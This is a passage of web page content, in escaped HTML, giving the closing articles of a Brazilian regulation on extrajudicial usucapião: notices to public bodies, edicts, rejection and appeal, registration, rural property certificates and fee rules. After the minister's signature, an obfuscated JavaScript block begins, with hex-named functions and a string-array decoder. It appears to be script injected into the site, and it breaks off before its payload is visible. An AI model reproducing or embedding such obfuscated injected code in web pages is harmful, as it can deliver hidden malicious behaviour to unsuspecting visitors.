impedir&aacute; o reconhecimento extrajudicial da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Par&aacute;grafo &uacute;nico. A impugna&ccedil;&atilde;o do titular do direito previsto no caput poder&aacute; ser objeto de concilia&ccedil;&atilde;o ou media&ccedil;&atilde;o pelo registrador. N&atilde;o sendo frut&iacute;fera, a impugna&ccedil;&atilde;o impedir&aacute; o reconhecimento da usucapi&atilde;o pela via extrajudicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 15.Estando o requerimento regularmente instru&iacute;do com todos os documentos exigidos, o oficial de registro de im&oacute;veis dar&aacute; ci&ecirc;ncia &agrave; Uni&atilde;o, ao Estado, ao Distrito Federal ou ao Munic&iacute;pio pessoalmente, por interm&eacute;dio do oficial de registro de t&iacute;tulos e documentos ou pelo correio com aviso de recebimento, para manifesta&ccedil;&atilde;o sobre o pedido no prazo de quinze dias.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; A in&eacute;rcia dos &oacute;rg&atilde;os p&uacute;blicos diante da notifica&ccedil;&atilde;o de que trata este artigo n&atilde;o impedir&aacute; o regular andamento do procedimento nem o eventual reconhecimento extrajudicial da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; Ser&aacute; admitida a manifesta&ccedil;&atilde;o do Poder P&uacute;blico em qualquer fase do procedimento.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; Apresentada qualquer ressalva, &oacute;bice ou oposi&ccedil;&atilde;o dos entes p&uacute;blicos mencionados, o procedimento extrajudicial dever&aacute; ser encerrado e enviado ao ju&iacute;zo competente para o rito judicial da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 16. Ap&oacute;s a notifica&ccedil;&atilde;o prevista no caput do art. 15 deste provimento, o oficial de registro de im&oacute;veis expedir&aacute; edital, que ser&aacute; publicado pelo requerente e &agrave;s expensas dele, na forma do art. 257, III, do CPC, para ci&ecirc;ncia de terceiros eventualmente interessados, que poder&atilde;o manifestar-se nos quinze dias subsequentes ao da publica&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; O edital de que trata o caput conter&aacute;:<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; I &ndash; o nome e a qualifica&ccedil;&atilde;o completa do requerente;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; II &ndash; a identifica&ccedil;&atilde;o do im&oacute;vel usucapiendo com o n&uacute;mero da matr&iacute;cula, quando houver, sua &aacute;rea superficial e eventuais acess&otilde;es ou benfeitorias nele existentes;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; III &ndash; os nomes dos titulares de direitos reais e de outros direitos registrados e averbados na matr&iacute;cula do im&oacute;vel usucapiendo e na matr&iacute;cula dos im&oacute;veis confinantes ou confrontantes de fato com expectativa de dom&iacute;nio;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; IV &ndash; a modalidade de usucapi&atilde;o e o tempo de posse alegado pelo requerente;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; V &ndash; a advert&ecirc;ncia de que a n&atilde;o apresenta&ccedil;&atilde;o de impugna&ccedil;&atilde;o no prazo previsto neste artigo implicar&aacute; anu&ecirc;ncia ao pedido de reconhecimento extrajudicial da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; Os terceiros eventualmente interessados poder&atilde;o manifestar-se no prazo de quinze dias ap&oacute;s o decurso do prazo do edital publicado.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; Estando o im&oacute;vel usucapiendo localizado em duas ou mais circunscri&ccedil;&otilde;es ou em circunscri&ccedil;&atilde;o que abranja mais de um munic&iacute;pio, o edital de que trata o caput deste artigo dever&aacute; ser publicado em jornal de todas as localidades.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 4&ordm; O edital poder&aacute; ser publicado em meio eletr&ocirc;nico, desde que o procedimento esteja regulamentado pelo &oacute;rg&atilde;o jurisdicional local, dispensada a publica&ccedil;&atilde;o em jornais de grande circula&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 17. Para a elucida&ccedil;&atilde;o de quaisquer d&uacute;vidas, imprecis&otilde;es ou incertezas, poder&atilde;o ser solicitadas ou realizadas dilig&ecirc;ncias pelo oficial de registro de im&oacute;veis ou por escrevente habilitado.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; No caso de aus&ecirc;ncia ou insufici&ecirc;ncia dos documentos de que trata o inciso IV do caput do art. 216-A da LRP, a posse e os demais dados necess&aacute;rios poder&atilde;o ser comprovados em procedimento de justifica&ccedil;&atilde;o administrativa perante o oficial de registro do im&oacute;vel, que obedecer&aacute;, no que couber, ao disposto no &sect; 5&ordm; do art. 381 e ao rito previsto nos arts. 382 e 383, todos do CPC.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; Se, ao final das dilig&ecirc;ncias, ainda persistirem d&uacute;vidas, imprecis&otilde;es ou incertezas, bem como a aus&ecirc;ncia ou insufici&ecirc;ncia de documentos, o oficial de registro de im&oacute;veis rejeitar&aacute; o pedido mediante nota de devolu&ccedil;&atilde;o fundamentada.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; A rejei&ccedil;&atilde;o do pedido extrajudicial n&atilde;o impedir&aacute; o ajuizamento de a&ccedil;&atilde;o de usucapi&atilde;o no foro competente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 4&ordm; Com a rejei&ccedil;&atilde;o do pedido extrajudicial e a devolu&ccedil;&atilde;o de nota fundamentada, cessar&atilde;o os efeitos da prenota&ccedil;&atilde;o e da prefer&ecirc;ncia dos direitos reais determinada pela prioridade, salvo suscita&ccedil;&atilde;o de d&uacute;vida.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 5&ordm; A rejei&ccedil;&atilde;o do requerimento poder&aacute; ser impugnada pelo requerente no prazo de quinze dias, perante o oficial de registro de im&oacute;veis, que poder&aacute; reanalisar o pedido e reconsiderar a nota de rejei&ccedil;&atilde;o no mesmo prazo ou suscitar&aacute; d&uacute;vida registral nos moldes dos art. 198 e seguintes da LRP.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 18. Em caso de impugna&ccedil;&atilde;o do pedido de reconhecimento extrajudicial da usucapi&atilde;o apresentada por qualquer dos titulares de direitos reais e de outros direitos registrados ou averbados na matr&iacute;cula do im&oacute;vel usucapiendo ou na matr&iacute;cula dos im&oacute;veis confinantes, por ente p&uacute;blico ou por terceiro interessado, o oficial de registro de im&oacute;veis tentar&aacute; promover a concilia&ccedil;&atilde;o ou a media&ccedil;&atilde;o entre as partes interessadas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; Sendo infrut&iacute;fera a concilia&ccedil;&atilde;o ou a media&ccedil;&atilde;o mencionada no caput deste artigo, persistindo a impugna&ccedil;&atilde;o, o oficial de registro de im&oacute;veis lavrar&aacute; relat&oacute;rio circunstanciado de todo o processamento da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; O oficial de registro de im&oacute;veis entregar&aacute; os autos do pedido da usucapi&atilde;o ao requerente, acompanhados do relat&oacute;rio circunstanciado, mediante recibo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; A parte requerente poder&aacute; emendar a peti&ccedil;&atilde;o inicial, adequando-a ao procedimento judicial e apresent&aacute;-la ao ju&iacute;zo competente da comarca de localiza&ccedil;&atilde;o do im&oacute;vel usucapiendo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 19. O registro do reconhecimento extrajudicial da usucapi&atilde;o de im&oacute;vel rural somente ser&aacute; realizado ap&oacute;s a apresenta&ccedil;&atilde;o:<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; I &ndash; do recibo de inscri&ccedil;&atilde;o do im&oacute;vel rural no Cadastro Ambiental Rural &ndash; CAR, de que trata o art. 29 da Lei n. 12.651, de 25 de maio de 2012, emitido por &oacute;rg&atilde;o ambiental competente, esteja ou n&atilde;o a reserva legal averbada na matr&iacute;cula imobili&aacute;ria, fazendo-se expressa refer&ecirc;ncia, na matr&iacute;cula, ao n&uacute;mero de registro e &agrave; data de cadastro constantes daquele documento;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; II &ndash; do Certificado de Cadastro de Im&oacute;vel Rural &ndash; CCIR mais recente, emitido pelo Instituto Nacional de Coloniza&ccedil;&atilde;o e Reforma Agr&aacute;ria &ndash; Incra, devidamente quitado;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; III &ndash; de certifica&ccedil;&atilde;o do Incra que ateste que o poligonal objeto do memorial descritivo n&atilde;o se sobrep&otilde;e a nenhum outro constante do seu cadastro georreferenciado e que o memorial atende &agrave;s exig&ecirc;ncias t&eacute;cnicas, conforme as &aacute;reas e os prazos previstos na Lei n. 10.267\/2001 e nos decretos regulamentadores.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 20. O registro do reconhecimento extrajudicial da usucapi&atilde;o de im&oacute;vel implica abertura de nova matr&iacute;cula.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; Na hip&oacute;tese de o im&oacute;vel usucapiendo encontrar-se matriculado e o pedido referir-se &agrave; totalidade do bem, o registro do reconhecimento extrajudicial de usucapi&atilde;o ser&aacute; averbado na pr&oacute;pria matr&iacute;cula existente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; Caso o reconhecimento extrajudicial da usucapi&atilde;o atinja fra&ccedil;&atilde;o de im&oacute;vel matriculado ou im&oacute;veis referentes, total ou parcialmente, a duas ou mais matr&iacute;culas, ser&aacute; aberta nova matr&iacute;cula para o im&oacute;vel usucapiendo, devendo as matr&iacute;culas atingidas, conforme o caso, ser encerradas ou receber as averba&ccedil;&otilde;es dos respectivos desfalques ou destaques, dispensada, para esse fim, a apura&ccedil;&atilde;o da &aacute;rea remanescente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 3&ordm; A abertura de matr&iacute;cula de im&oacute;vel edificado independer&aacute; da apresenta&ccedil;&atilde;o de habite-se.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 4&ordm; Tratando-se de usucapi&atilde;o de unidade aut&ocirc;noma localizada em condom&iacute;nio edil&iacute;cio objeto de incorpora&ccedil;&atilde;o, mas ainda n&atilde;o institu&iacute;do ou sem a devida averba&ccedil;&atilde;o de constru&ccedil;&atilde;o, a matr&iacute;cula ser&aacute; aberta para a respectiva fra&ccedil;&atilde;o ideal, mencionando-se a unidade a que se refere.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 5&ordm; O ato de abertura de matr&iacute;cula decorrente de usucapi&atilde;o conter&aacute;, sempre que poss&iacute;vel, para fins de coordena&ccedil;&atilde;o e hist&oacute;rico, a indica&ccedil;&atilde;o do registro anterior desfalcado e, no campo destinado &agrave; indica&ccedil;&atilde;o dos propriet&aacute;rios, a express&atilde;o &ldquo;adquirido por usucapi&atilde;o&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 21. O reconhecimento extrajudicial da usucapi&atilde;o de im&oacute;vel matriculado n&atilde;o extinguir&aacute; eventuais restri&ccedil;&otilde;es administrativas nem gravames judiciais regularmente inscritos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 1&ordm; A parte requerente dever&aacute; formular pedido de cancelamento dos gravames e restri&ccedil;&otilde;es diretamente &agrave; autoridade que emitiu a ordem.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; &sect; 2&ordm; Os entes p&uacute;blicos ou credores podem anuir expressamente &agrave; extin&ccedil;&atilde;o dos gravames no procedimento da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 22. Estando em ordem a documenta&ccedil;&atilde;o e n&atilde;o havendo impugna&ccedil;&atilde;o, o oficial de registro de im&oacute;veis emitir&aacute; nota fundamentada de deferimento e efetuar&aacute; o registro da usucapi&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 23. Em qualquer caso, o leg&iacute;timo interessado poder&aacute; suscitar o procedimento de d&uacute;vida, observado o disposto nos art. 198 e seguintes da LRP.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 24. O oficial do registro de im&oacute;veis n&atilde;o exigir&aacute;, para o ato de registro da usucapi&atilde;o, o pagamento do Imposto de Transmiss&atilde;o de Bens Im&oacute;veis &ndash; ITBI, pois trata-se de aquisi&ccedil;&atilde;o origin&aacute;ria de dom&iacute;nio.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 25. Em virtude da consolida&ccedil;&atilde;o temporal da posse e do car&aacute;ter origin&aacute;rio da aquisi&ccedil;&atilde;o da propriedade, o registro declarat&oacute;rio da usucapi&atilde;o n&atilde;o se confunde com as condutas previstas no Cap&iacute;tulo IX da Lei n. 6.766, de 19 de dezembro de 1979, nem delas deriva.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 26. Enquanto n&atilde;o for editada, no &acirc;mbito dos Estados e do Distrito Federal, legisla&ccedil;&atilde;o espec&iacute;fica acerca da fixa&ccedil;&atilde;o de emolumentos para o procedimento da usucapi&atilde;o extrajudicial, ser&atilde;o adotadas as seguintes regras:<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; I &ndash; no tabelionato de notas, a ata notarial ser&aacute; considerada ato de conte&uacute;do econ&ocirc;mico, devendo-se tomar por base para a cobran&ccedil;a de emolumentos o valor venal do im&oacute;vel relativo ao &uacute;ltimo lan&ccedil;amento do imposto predial e territorial urbano ou ao imposto territorial rural ou, quando n&atilde;o estipulado, o valor de mercado aproximado;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; II &ndash; no registro de im&oacute;veis, pelo processamento da usucapi&atilde;o, ser&atilde;o devidos emolumentos equivalentes a 50% do valor previsto na tabela de emolumentos para o registro e, caso o pedido seja deferido, tamb&eacute;m ser&atilde;o devidos emolumentos pela aquisi&ccedil;&atilde;o da propriedade equivalentes a 50% do valor previsto na tabela de emolumentos para o registro, tomando-se por base o valor venal do im&oacute;vel relativo ao &uacute;ltimo lan&ccedil;amento do imposto predial e territorial urbano ou ao imposto territorial rural ou, quando n&atilde;o estipulado, o valor de mercado aproximado.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Par&aacute;grafo &uacute;nico. Dilig&ecirc;ncias, reconhecimento de firmas, escrituras declarat&oacute;rias, notifica&ccedil;&otilde;es e atos preparat&oacute;rios e instrut&oacute;rios para a lavratura da ata notarial, certid&otilde;es, buscas, averba&ccedil;&otilde;es, notifica&ccedil;&otilde;es e editais relacionados ao processamento do pedido da usucapi&atilde;o ser&atilde;o considerados atos aut&ocirc;nomos para efeito de cobran&ccedil;a de emolumentos nos termos da legisla&ccedil;&atilde;o local, devendo as despesas ser adiantadas pelo requerente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Art. 27. Este provimento entra em vigor na data da sua publica&ccedil;&atilde;o<\/p>\n<p style=\"text-align: justify;\"><strong>Ministro JO&Atilde;O OT&Aacute;VIO DE NORONHA<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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